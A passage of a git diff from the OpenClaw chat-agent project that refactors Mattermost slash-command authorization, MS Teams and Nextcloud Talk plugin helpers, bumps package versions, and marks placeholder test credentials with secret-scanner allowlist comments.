channelType?.toUpperCase() === "D"; - const kind: SlashInvocationAuth["kind"] = isDirectMessage - ? "direct" - : channelInfo - ? channelType?.toUpperCase() === "G" - ? "group" - : "channel" - : "channel"; - - const chatType = kind === "direct" ? "direct" : kind === "group" ? "group" : "channel"; - - const channelName = channelInfo?.name ?? ""; - const channelDisplay = channelInfo?.display_name ?? channelName; - const roomLabel = channelName ? `#${channelName}` : channelDisplay || `#${channelId}`; - - const dmPolicy = account.config.dmPolicy ?? "pairing"; - const defaultGroupPolicy = cfg.channels?.defaults?.groupPolicy; - const groupPolicy = account.config.groupPolicy ?? defaultGroupPolicy ?? "allowlist"; - const allowNameMatching = isDangerousNameMatchingEnabled(account.config); - - const configAllowFrom = normalizeMattermostAllowList(account.config.allowFrom ?? []); - const configGroupAllowFrom = normalizeMattermostAllowList(account.config.groupAllowFrom ?? []); + const allowTextCommands = core.channel.commands.shouldHandleTextCommands({ + cfg, + surface: "mattermost", + }); + const hasControlCommand = core.channel.text.hasControlCommand(commandText, cfg); const storeAllowFrom = normalizeMattermostAllowList( await core.channel.pairing .readAllowFromStore({ @@ -159,201 +147,61 @@ async function authorizeSlashInvocation(params: { }) .catch(() => []), ); - const { effectiveAllowFrom, effectiveGroupAllowFrom } = resolveMattermostEffectiveAllowFromLists({ - allowFrom: configAllowFrom, - groupAllowFrom: configGroupAllowFrom, - storeAllowFrom, - dmPolicy, - }); - - const allowTextCommands = core.channel.commands.shouldHandleTextCommands({ + const decision = authorizeMattermostCommandInvocation({ + account, cfg, - surface: "mattermost", - }); - const hasControlCommand = core.channel.text.hasControlCommand(commandText, cfg); - const useAccessGroups = cfg.commands?.useAccessGroups !== false; - const commandDmAllowFrom = kind === "direct" ? effectiveAllowFrom : configAllowFrom; - const commandGroupAllowFrom = - kind === "direct" - ? effectiveGroupAllowFrom - : configGroupAllowFrom.length > 0 - ? configGroupAllowFrom - : configAllowFrom; - - const senderAllowedForCommands = isMattermostSenderAllowed({ senderId, senderName, - allowFrom: commandDmAllowFrom, - allowNameMatching, - }); - const groupAllowedForCommands = isMattermostSenderAllowed({ - senderId, - senderName, - allowFrom: commandGroupAllowFrom, - allowNameMatching, - }); - - const commandGate = resolveControlCommandGate({ - useAccessGroups, - authorizers: [ - { configured: commandDmAllowFrom.length > 0, allowed: senderAllowedForCommands }, - { - configured: commandGroupAllowFrom.length > 0, - allowed: groupAllowedForCommands, - }, - ], + channelId, + channelInfo, + storeAllowFrom, allowTextCommands, hasControlCommand, }); - const commandAuthorized = - kind === "direct" - ? dmPolicy === "open" || senderAllowedForCommands - : commandGate.commandAuthorized; - - // DM policy enforcement - if (kind === "direct") { - if (dmPolicy === "disabled") { + if (!decision.ok) { + if (decision.denyReason === "dm-pairing") { + const { code } = await core.channel.pairing.upsertPairingRequest({ + channel: "mattermost", + accountId: account.accountId, + id: senderId, + meta: { name: senderName }, + }); return { - ok: false, + ...decision, denyResponse: { response_type: "ephemeral", - text: "This bot is not accepting direct messages.", + text: core.channel.pairing.buildPairingReply({ + channel: "mattermost", + idLine: `Your Mattermost user id: ${senderId}`, + code, + }), }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, }; } - if (dmPolicy !== "open" && !senderAllowedForCommands) { - if (dmPolicy === "pairing") { - const { code } = await core.channel.pairing.upsertPairingRequest({ - channel: "mattermost", - accountId: account.accountId, - id: senderId, - meta: { name: senderName }, - }); - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: core.channel.pairing.buildPairingReply({ - channel: "mattermost", - idLine: `Your Mattermost user id: ${senderId}`, - code, - }), - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } - - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: "Unauthorized.", - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } - } else { - // Group/channel policy enforcement - if (groupPolicy === "disabled") { - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: "Slash commands are disabled in channels.", - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } - - if (groupPolicy === "allowlist") { - if (effectiveGroupAllowFrom.length === 0) { - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: "Slash commands are not configured for this channel (no allowlist).", - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } - if (!groupAllowedForCommands) { - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: "Unauthorized.", - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } - } - - if (commandGate.shouldBlock) { - return { - ok: false, - denyResponse: { - response_type: "ephemeral", - text: "Unauthorized.", - }, - commandAuthorized: false, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, - }; - } + const denyText = + decision.denyReason === "unknown-channel" + ? "Temporary error: unable to determine channel type. Please try again." + : decision.denyReason === "dm-disabled" + ? "This bot is not accepting direct messages." + : decision.denyReason === "channels-disabled" + ? "Slash commands are disabled in channels." + : decision.denyReason === "channel-no-allowlist" + ? "Slash commands are not configured for this channel (no allowlist)." + : "Unauthorized."; + return { + ...decision, + denyResponse: { + response_type: "ephemeral", + text: denyText, + }, + }; } return { - ok: true, - commandAuthorized, - channelInfo, - kind, - chatType, - channelName, - channelDisplay, - roomLabel, + ...decision, + denyResponse: undefined, }; } @@ -537,6 +385,48 @@ async function handleSlashCommandAsync(params: { : `Mattermost message in ${roomLabel} from ${senderName}`; const to = kind === "direct" ? `user:${senderId}` : `channel:${channelId}`; + const pickerEntry = resolveMattermostModelPickerEntry(commandText); + if (pickerEntry) { + const data = await buildModelsProviderData(cfg, route.agentId); + if (data.providers.length === 0) { + await sendMessageMattermost(to, "No models available.", { + accountId: account.accountId, + }); + return; + } + + const currentModel = resolveMattermostModelPickerCurrentModel({ + cfg, + route, + data, + }); + const view = + pickerEntry.kind === "summary" + ? renderMattermostModelSummaryView({ + ownerUserId: senderId, + currentModel, + }) + : pickerEntry.kind === "providers" + ? renderMattermostProviderPickerView({ + ownerUserId: senderId, + data, + currentModel, + }) + : renderMattermostModelsPickerView({ + ownerUserId: senderId, + data, + provider: pickerEntry.provider, + page: 1, + currentModel, + }); + + await sendMessageMattermost(to, view.text, { + accountId: account.accountId, + buttons: view.buttons, + }); + runtime.log?.(`delivered model picker to ${to}`); + return; + } // Build inbound context — the command text is the body const ctxPayload = core.channel.reply.finalizeInboundContext({ diff --git a/extensions/mattermost/src/normalize.test.ts b/extensions/mattermost/src/normalize.test.ts index 11d8acb2f73..fb7866b34be 100644 --- a/extensions/mattermost/src/normalize.test.ts +++ b/extensions/mattermost/src/normalize.test.ts @@ -74,12 +74,12 @@ describe("looksLikeMattermostTargetId", () => { it("recognizes 26-char alphanumeric Mattermost IDs", () => { expect(looksLikeMattermostTargetId("abcdefghijklmnopqrstuvwxyz")).toBe(true); expect(looksLikeMattermostTargetId("12345678901234567890123456")).toBe(true); - expect(looksLikeMattermostTargetId("AbCdEf1234567890abcdef1234")).toBe(true); + expect(looksLikeMattermostTargetId("AbCdEf1234567890abcdef1234")).toBe(true); // pragma: allowlist secret }); it("recognizes DM channel format (26__26)", () => { expect( - looksLikeMattermostTargetId("abcdefghijklmnopqrstuvwxyz__12345678901234567890123456"), + looksLikeMattermostTargetId("abcdefghijklmnopqrstuvwxyz__12345678901234567890123456"), // pragma: allowlist secret ).toBe(true); }); @@ -91,6 +91,6 @@ describe("looksLikeMattermostTargetId", () => { }); it("rejects strings longer than 26 chars that are not DM format", () => { - expect(looksLikeMattermostTargetId("abcdefghijklmnopqrstuvwxyz1")).toBe(false); + expect(looksLikeMattermostTargetId("abcdefghijklmnopqrstuvwxyz1")).toBe(false); // pragma: allowlist secret }); }); diff --git a/extensions/mattermost/src/secret-input.ts b/extensions/mattermost/src/secret-input.ts index 017109424bc..576f5b9fc45 100644 --- a/extensions/mattermost/src/secret-input.ts +++ b/extensions/mattermost/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/mattermost"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/mattermost/src/types.ts b/extensions/mattermost/src/types.ts index 6cd09934995..ba664baa894 100644 --- a/extensions/mattermost/src/types.ts +++ b/extensions/mattermost/src/types.ts @@ -73,6 +73,11 @@ export type MattermostAccountConfig = { interactions?: { /** External base URL used for Mattermost interaction callbacks. */ callbackBaseUrl?: string; + /** + * IP/CIDR allowlist for callback request sources when Mattermost reaches the gateway + * over a non-loopback path. Keep this narrow to the Mattermost server or trusted ingress. + */ + allowedSourceIps?: string[]; }; }; diff --git a/extensions/memory-core/package.json b/extensions/memory-core/package.json index 063921d9c0f..e5388b49755 100644 --- a/extensions/memory-core/package.json +++ b/extensions/memory-core/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/memory-core", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw core memory search plugin", "type": "module", diff --git a/extensions/memory-lancedb/package.json b/extensions/memory-lancedb/package.json index 102f43da823..9663560a60a 100644 --- a/extensions/memory-lancedb/package.json +++ b/extensions/memory-lancedb/package.json @@ -1,13 +1,13 @@ { "name": "@openclaw/memory-lancedb", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw LanceDB-backed long-term memory plugin with auto-recall/capture", "type": "module", "dependencies": { "@lancedb/lancedb": "^0.26.2", "@sinclair/typebox": "0.34.48", - "openai": "^6.25.0" + "openai": "^6.27.0" }, "openclaw": { "extensions": [ diff --git a/extensions/minimax-portal-auth/index.ts b/extensions/minimax-portal-auth/index.ts index 6eee6bdabe1..d2d1bab9899 100644 --- a/extensions/minimax-portal-auth/index.ts +++ b/extensions/minimax-portal-auth/index.ts @@ -1,4 +1,5 @@ import { + buildOauthProviderAuthResult, emptyPluginConfigSchema, type OpenClawPluginApi, type ProviderAuthContext, @@ -60,22 +61,14 @@ function createOAuthHandler(region: MiniMaxRegion) { await ctx.prompter.note(result.notification_message, "MiniMax OAuth"); } - const profileId = `${PROVIDER_ID}:default`; const baseUrl = result.resourceUrl || defaultBaseUrl; - return { - profiles: [ - { - profileId, - credential: { - type: "oauth" as const, - provider: PROVIDER_ID, - access: result.access, - refresh: result.refresh, - expires: result.expires, - }, - }, - ], + return buildOauthProviderAuthResult({ + providerId: PROVIDER_ID, + defaultModel: modelRef(DEFAULT_MODEL), + access: result.access, + refresh: result.refresh, + expires: result.expires, configPatch: { models: { providers: { @@ -119,13 +112,12 @@ function createOAuthHandler(region: MiniMaxRegion) { }, }, }, - defaultModel: modelRef(DEFAULT_MODEL), notes: [ "MiniMax OAuth tokens auto-refresh. Re-run login if refresh fails or access is revoked.", `Base URL defaults to ${defaultBaseUrl}. Override models.providers.${PROVIDER_ID}.baseUrl if needed.`, ...(result.notification_message ? [result.notification_message] : []), ], - }; + }); } catch (err) { const errorMsg = err instanceof Error ? err.message : String(err); progress.stop(`MiniMax OAuth failed: ${errorMsg}`); diff --git a/extensions/minimax-portal-auth/package.json b/extensions/minimax-portal-auth/package.json index 83ed9f8519b..040480ffc9f 100644 --- a/extensions/minimax-portal-auth/package.json +++ b/extensions/minimax-portal-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/minimax-portal-auth", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw MiniMax Portal OAuth provider plugin", "type": "module", diff --git a/extensions/msteams/CHANGELOG.md b/extensions/msteams/CHANGELOG.md index 3f06667bb11..882c4cbcc9b 100644 --- a/extensions/msteams/CHANGELOG.md +++ b/extensions/msteams/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/msteams/package.json b/extensions/msteams/package.json index 6b81483d5d2..c5841204402 100644 --- a/extensions/msteams/package.json +++ b/extensions/msteams/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/msteams", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Microsoft Teams channel plugin", "type": "module", "dependencies": { diff --git a/extensions/msteams/src/channel.ts b/extensions/msteams/src/channel.ts index 90223956988..be804a25c44 100644 --- a/extensions/msteams/src/channel.ts +++ b/extensions/msteams/src/channel.ts @@ -4,7 +4,8 @@ import type { OpenClawConfig, } from "openclaw/plugin-sdk/msteams"; import { - buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, buildChannelConfigSchema, createDefaultChannelRuntimeState, DEFAULT_ACCOUNT_ID, @@ -250,11 +251,43 @@ export const msteamsPlugin: ChannelPlugin = { name: undefined as string | undefined, note: undefined as string | undefined, })); + type ResolveTargetResultEntry = (typeof results)[number]; + type PendingTargetEntry = { input: string; query: string; index: number }; const stripPrefix = (value: string) => normalizeMSTeamsUserInput(value); + const markPendingLookupFailed = (pending: PendingTargetEntry[]) => { + pending.forEach(({ index }) => { + const entry = results[index]; + if (entry) { + entry.note = "lookup failed"; + } + }); + }; + const resolvePending = async ( + pending: PendingTargetEntry[], + resolveEntries: (entries: string[]) => Promise, + applyResolvedEntry: (target: ResolveTargetResultEntry, entry: T) => void, + ) => { + if (pending.length === 0) { + return; + } + try { + const resolved = await resolveEntries(pending.map((entry) => entry.query)); + resolved.forEach((entry, idx) => { + const target = results[pending[idx]?.index ?? -1]; + if (!target) { + return; + } + applyResolvedEntry(target, entry); + }); + } catch (err) { + runtime.error?.(`msteams resolve failed: ${String(err)}`); + markPendingLookupFailed(pending); + } + }; if (kind === "user") { - const pending: Array<{ input: string; query: string; index: number }> = []; + const pending: PendingTargetEntry[] = []; results.forEach((entry, index) => { const trimmed = entry.input.trim(); if (!trimmed) { @@ -270,37 +303,21 @@ export const msteamsPlugin: ChannelPlugin = { pending.push({ input: entry.input, query: cleaned, index }); }); - if (pending.length > 0) { - try { - const resolved = await resolveMSTeamsUserAllowlist({ - cfg, - entries: pending.map((entry) => entry.query), - }); - resolved.forEach((entry, idx) => { - const target = results[pending[idx]?.index ?? -1]; - if (!target) { - return; - } - target.resolved = entry.resolved; - target.id = entry.id; - target.name = entry.name; - target.note = entry.note; - }); - } catch (err) { - runtime.error?.(`msteams resolve failed: ${String(err)}`); - pending.forEach(({ index }) => { - const entry = results[index]; - if (entry) { - entry.note = "lookup failed"; - } - }); - } - } + await resolvePending( + pending, + (entries) => resolveMSTeamsUserAllowlist({ cfg, entries }), + (target, entry) => { + target.resolved = entry.resolved; + target.id = entry.id; + target.name = entry.name; + target.note = entry.note; + }, + ); return results; } - const pending: Array<{ input: string; query: string; index: number }> = []; + const pending: PendingTargetEntry[] = []; results.forEach((entry, index) => { const trimmed = entry.input.trim(); if (!trimmed) { @@ -323,48 +340,32 @@ export const msteamsPlugin: ChannelPlugin = { pending.push({ input: entry.input, query, index }); }); - if (pending.length > 0) { - try { - const resolved = await resolveMSTeamsChannelAllowlist({ - cfg, - entries: pending.map((entry) => entry.query), - }); - resolved.forEach((entry, idx) => { - const target = results[pending[idx]?.index ?? -1]; - if (!target) { - return; - } - if (!entry.resolved || !entry.teamId) { - target.resolved = false; - target.note = entry.note; - return; - } - target.resolved = true; - if (entry.channelId) { - target.id = `${entry.teamId}/${entry.channelId}`; - target.name = - entry.channelName && entry.teamName - ? `${entry.teamName}/${entry.channelName}` - : (entry.channelName ?? entry.teamName); - } else { - target.id = entry.teamId; - target.name = entry.teamName; - target.note = "team id"; - } - if (entry.note) { - target.note = entry.note; - } - }); - } catch (err) { - runtime.error?.(`msteams resolve failed: ${String(err)}`); - pending.forEach(({ index }) => { - const entry = results[index]; - if (entry) { - entry.note = "lookup failed"; - } - }); - } - } + await resolvePending( + pending, + (entries) => resolveMSTeamsChannelAllowlist({ cfg, entries }), + (target, entry) => { + if (!entry.resolved || !entry.teamId) { + target.resolved = false; + target.note = entry.note; + return; + } + target.resolved = true; + if (entry.channelId) { + target.id = `${entry.teamId}/${entry.channelId}`; + target.name = + entry.channelName && entry.teamName + ? `${entry.teamName}/${entry.channelName}` + : (entry.channelName ?? entry.teamName); + } else { + target.id = entry.teamId; + target.name = entry.teamName; + target.note = "team id"; + } + if (entry.note) { + target.note = entry.note; + } + }, + ); return results; }, @@ -429,23 +430,17 @@ export const msteamsPlugin: ChannelPlugin = { outbound: msteamsOutbound, status: { defaultRuntime: createDefaultChannelRuntimeState(DEFAULT_ACCOUNT_ID, { port: null }), - buildChannelSummary: ({ snapshot }) => ({ - ...buildBaseChannelStatusSummary(snapshot), - port: snapshot.port ?? null, - probe: snapshot.probe, - lastProbeAt: snapshot.lastProbeAt ?? null, - }), + buildChannelSummary: ({ snapshot }) => + buildProbeChannelStatusSummary(snapshot, { + port: snapshot.port ?? null, + }), probeAccount: async ({ cfg }) => await probeMSTeams(cfg.channels?.msteams), buildAccountSnapshot: ({ account, runtime, probe }) => ({ accountId: account.accountId, enabled: account.enabled, configured: account.configured, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), port: runtime?.port ?? null, - probe, }), }, gateway: { diff --git a/extensions/msteams/src/messenger.test.ts b/extensions/msteams/src/messenger.test.ts index 627bad15d94..aa0a92b5159 100644 --- a/extensions/msteams/src/messenger.test.ts +++ b/extensions/msteams/src/messenger.test.ts @@ -72,6 +72,17 @@ const createRecordedSendActivity = ( }; }; +const REVOCATION_ERROR = "Cannot perform 'set' on a proxy that has been revoked"; + +const createFallbackAdapter = (proactiveSent: string[]): MSTeamsAdapter => ({ + continueConversation: async (_appId, _reference, logic) => { + await logic({ + sendActivity: createRecordedSendActivity(proactiveSent), + }); + }, + process: async () => {}, +}); + describe("msteams messenger", () => { beforeEach(() => { setMSTeamsRuntime(runtimeStub); @@ -297,18 +308,11 @@ describe("msteams messenger", () => { const ctx = { sendActivity: async () => { - throw new TypeError("Cannot perform 'set' on a proxy that has been revoked"); + throw new TypeError(REVOCATION_ERROR); }, }; - const adapter: MSTeamsAdapter = { - continueConversation: async (_appId, _reference, logic) => { - await logic({ - sendActivity: createRecordedSendActivity(proactiveSent), - }); - }, - process: async () => {}, - }; + const adapter = createFallbackAdapter(proactiveSent); const ids = await sendMSTeamsMessages({ replyStyle: "thread", @@ -338,18 +342,11 @@ describe("msteams messenger", () => { threadSent.push(content); return { id: `id:${content}` }; } - throw new TypeError("Cannot perform 'set' on a proxy that has been revoked"); + throw new TypeError(REVOCATION_ERROR); }, }; - const adapter: MSTeamsAdapter = { - continueConversation: async (_appId, _reference, logic) => { - await logic({ - sendActivity: createRecordedSendActivity(proactiveSent), - }); - }, - process: async () => {}, - }; + const adapter = createFallbackAdapter(proactiveSent); const ids = await sendMSTeamsMessages({ replyStyle: "thread", diff --git a/extensions/msteams/src/monitor-handler/message-handler.ts b/extensions/msteams/src/monitor-handler/message-handler.ts index b4a305fd7d4..ba68fc9f5c9 100644 --- a/extensions/msteams/src/monitor-handler/message-handler.ts +++ b/extensions/msteams/src/monitor-handler/message-handler.ts @@ -2,6 +2,7 @@ import { DEFAULT_ACCOUNT_ID, buildPendingHistoryContextFromMap, clearHistoryEntriesIfEnabled, + dispatchReplyFromConfigWithSettledDispatcher, DEFAULT_GROUP_HISTORY_LIMIT, createScopedPairingAccess, logInboundDrop, @@ -11,6 +12,7 @@ import { isDangerousNameMatchingEnabled, readStoreAllowFromForDmPolicy, resolveMentionGating, + resolveInboundSessionEnvelopeContext, formatAllowlistMatchMeta, resolveEffectiveAllowFromLists, resolveDmGroupAccessWithLists, @@ -451,12 +453,9 @@ export function createMSTeamsMessageHandler(deps: MSTeamsMessageHandlerDeps) { const mediaPayload = buildMSTeamsMediaPayload(mediaList); const envelopeFrom = isDirectMessage ? senderName : conversationType; - const storePath = core.channel.session.resolveStorePath(cfg.session?.store, { + const { storePath, envelopeOptions, previousTimestamp } = resolveInboundSessionEnvelopeContext({ + cfg, agentId: route.agentId, - }); - const envelopeOptions = core.channel.reply.resolveEnvelopeFormatOptions(cfg); - const previousTimestamp = core.channel.session.readSessionUpdatedAt({ - storePath, sessionKey: route.sessionKey, }); const body = core.channel.reply.formatAgentEnvelope({ @@ -559,18 +558,14 @@ export function createMSTeamsMessageHandler(deps: MSTeamsMessageHandlerDeps) { log.info("dispatching to agent", { sessionKey: route.sessionKey }); try { - const { queuedFinal, counts } = await core.channel.reply.withReplyDispatcher({ + const { queuedFinal, counts } = await dispatchReplyFromConfigWithSettledDispatcher({ + cfg, + ctxPayload, dispatcher, onSettled: () => { markDispatchIdle(); }, - run: () => - core.channel.reply.dispatchReplyFromConfig({ - ctx: ctxPayload, - cfg, - dispatcher, - replyOptions, - }), + replyOptions, }); log.info("dispatch complete", { queuedFinal, counts }); diff --git a/extensions/msteams/src/monitor.lifecycle.test.ts b/extensions/msteams/src/monitor.lifecycle.test.ts index eb323d9a353..a71beb76226 100644 --- a/extensions/msteams/src/monitor.lifecycle.test.ts +++ b/extensions/msteams/src/monitor.lifecycle.test.ts @@ -140,7 +140,7 @@ function createConfig(port: number): OpenClawConfig { msteams: { enabled: true, appId: "app-id", - appPassword: "app-password", + appPassword: "app-password", // pragma: allowlist secret tenantId: "tenant-id", webhook: { port, diff --git a/extensions/msteams/src/send.ts b/extensions/msteams/src/send.ts index cfa023d8871..48fe0443a22 100644 --- a/extensions/msteams/src/send.ts +++ b/extensions/msteams/src/send.ts @@ -157,24 +157,13 @@ export async function sendMessageMSTeams( log.debug?.("sending file consent card", { uploadId, fileName, size: media.buffer.length }); - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - try { - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; - }); - } catch (err) { - const classification = classifyMSTeamsSendError(err); - const hint = formatMSTeamsSendErrorHint(classification); - const status = classification.statusCode ? ` (HTTP ${classification.statusCode})` : ""; - throw new Error( - `msteams consent card send failed${status}: ${formatUnknownError(err)}${hint ? ` (${hint})` : ""}`, - { cause: err }, - ); - } + const messageId = await sendProactiveActivity({ + adapter, + appId, + ref, + activity, + errorPrefix: "msteams consent card send", + }); log.info("sent file consent card", { conversationId, messageId, uploadId }); @@ -245,14 +234,11 @@ export async function sendMessageMSTeams( text: messageText || undefined, attachments: [fileCardAttachment], }; - - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + const messageId = await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); log.info("sent native file card", { @@ -288,14 +274,11 @@ export async function sendMessageMSTeams( type: "message", text: messageText ? `${messageText}\n\n${fileLink}` : fileLink, }; - - const baseRef = buildConversationReference(ref); - const proactiveRef = { ...baseRef, activityId: undefined }; - - let messageId = "unknown"; - await adapter.continueConversation(appId, proactiveRef, async (turnCtx) => { - const response = await turnCtx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + const messageId = await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); log.info("sent message with OneDrive file link", { @@ -382,13 +365,14 @@ type ProactiveActivityParams = { errorPrefix: string; }; -async function sendProactiveActivity({ +type ProactiveActivityRawParams = Omit; + +async function sendProactiveActivityRaw({ adapter, appId, ref, activity, - errorPrefix, -}: ProactiveActivityParams): Promise { +}: ProactiveActivityRawParams): Promise { const baseRef = buildConversationReference(ref); const proactiveRef = { ...baseRef, @@ -396,12 +380,27 @@ async function sendProactiveActivity({ }; let messageId = "unknown"; + await adapter.continueConversation(appId, proactiveRef, async (ctx) => { + const response = await ctx.sendActivity(activity); + messageId = extractMessageId(response) ?? "unknown"; + }); + return messageId; +} + +async function sendProactiveActivity({ + adapter, + appId, + ref, + activity, + errorPrefix, +}: ProactiveActivityParams): Promise { try { - await adapter.continueConversation(appId, proactiveRef, async (ctx) => { - const response = await ctx.sendActivity(activity); - messageId = extractMessageId(response) ?? "unknown"; + return await sendProactiveActivityRaw({ + adapter, + appId, + ref, + activity, }); - return messageId; } catch (err) { const classification = classifyMSTeamsSendError(err); const hint = formatMSTeamsSendErrorHint(classification); diff --git a/extensions/msteams/src/token.test.ts b/extensions/msteams/src/token.test.ts index fde4a61f8e3..732b561a2b0 100644 --- a/extensions/msteams/src/token.test.ts +++ b/extensions/msteams/src/token.test.ts @@ -35,7 +35,7 @@ describe("resolveMSTeamsCredentials", () => { expect(resolved).toEqual({ appId: "app-id", - appPassword: "app-password", + appPassword: "app-password", // pragma: allowlist secret tenantId: "tenant-id", }); }); diff --git a/extensions/nextcloud-talk/package.json b/extensions/nextcloud-talk/package.json index a9f6046a127..74e9e2e5a55 100644 --- a/extensions/nextcloud-talk/package.json +++ b/extensions/nextcloud-talk/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nextcloud-talk", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Nextcloud Talk channel plugin", "type": "module", "dependencies": { diff --git a/extensions/nextcloud-talk/src/channel.startup.test.ts b/extensions/nextcloud-talk/src/channel.startup.test.ts index 7d806ee51b2..79b3cd77cd5 100644 --- a/extensions/nextcloud-talk/src/channel.startup.test.ts +++ b/extensions/nextcloud-talk/src/channel.startup.test.ts @@ -21,11 +21,11 @@ function buildAccount(): ResolvedNextcloudTalkAccount { accountId: "default", enabled: true, baseUrl: "https://nextcloud.example.com", - secret: "secret", - secretSource: "config", + secret: "secret", // pragma: allowlist secret + secretSource: "config", // pragma: allowlist secret config: { baseUrl: "https://nextcloud.example.com", - botSecret: "secret", + botSecret: "secret", // pragma: allowlist secret webhookPath: "/nextcloud-talk-webhook", webhookPort: 8788, }, diff --git a/extensions/nextcloud-talk/src/channel.ts b/extensions/nextcloud-talk/src/channel.ts index 003a118e2ef..a547a735ad3 100644 --- a/extensions/nextcloud-talk/src/channel.ts +++ b/extensions/nextcloud-talk/src/channel.ts @@ -1,6 +1,9 @@ import { applyAccountNameToChannelSection, + buildBaseChannelStatusSummary, buildChannelConfigSchema, + buildRuntimeAccountStatusSnapshot, + clearAccountEntryFields, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -288,17 +291,21 @@ export const nextcloudTalkPlugin: ChannelPlugin = lastStopAt: null, lastError: null, }, - buildChannelSummary: ({ snapshot }) => ({ - configured: snapshot.configured ?? false, - secretSource: snapshot.secretSource ?? "none", - running: snapshot.running ?? false, - mode: "webhook", - lastStartAt: snapshot.lastStartAt ?? null, - lastStopAt: snapshot.lastStopAt ?? null, - lastError: snapshot.lastError ?? null, - }), + buildChannelSummary: ({ snapshot }) => { + const base = buildBaseChannelStatusSummary(snapshot); + return { + configured: base.configured, + secretSource: snapshot.secretSource ?? "none", + running: base.running, + mode: "webhook", + lastStartAt: base.lastStartAt, + lastStopAt: base.lastStopAt, + lastError: base.lastError, + }; + }, buildAccountSnapshot: ({ account, runtime }) => { const configured = Boolean(account.secret?.trim() && account.baseUrl?.trim()); + const runtimeSnapshot = buildRuntimeAccountStatusSnapshot({ runtime }); return { accountId: account.accountId, name: account.name, @@ -306,10 +313,10 @@ export const nextcloudTalkPlugin: ChannelPlugin = configured, secretSource: account.secretSource, baseUrl: account.baseUrl ? "[set]" : "[missing]", - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + running: runtimeSnapshot.running, + lastStartAt: runtimeSnapshot.lastStartAt, + lastStopAt: runtimeSnapshot.lastStopAt, + lastError: runtimeSnapshot.lastError, mode: "webhook", lastInboundAt: runtime?.lastInboundAt ?? null, lastOutboundAt: runtime?.lastOutboundAt ?? null, @@ -353,36 +360,20 @@ export const nextcloudTalkPlugin: ChannelPlugin = cleared = true; changed = true; } - const accounts = - nextSection.accounts && typeof nextSection.accounts === "object" - ? { ...nextSection.accounts } - : undefined; - if (accounts && accountId in accounts) { - const entry = accounts[accountId]; - if (entry && typeof entry === "object") { - const nextEntry = { ...entry } as Record; - if ("botSecret" in nextEntry) { - const secret = nextEntry.botSecret; - if (typeof secret === "string" ? secret.trim() : secret) { - cleared = true; - } - delete nextEntry.botSecret; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextSection.accounts, + accountId, + fields: ["botSecret"], + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextSection.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextSection.accounts = accountCleanup.nextAccounts; } else { - nextSection.accounts = accounts; + delete nextSection.accounts; } } } diff --git a/extensions/nextcloud-talk/src/inbound.authz.test.ts 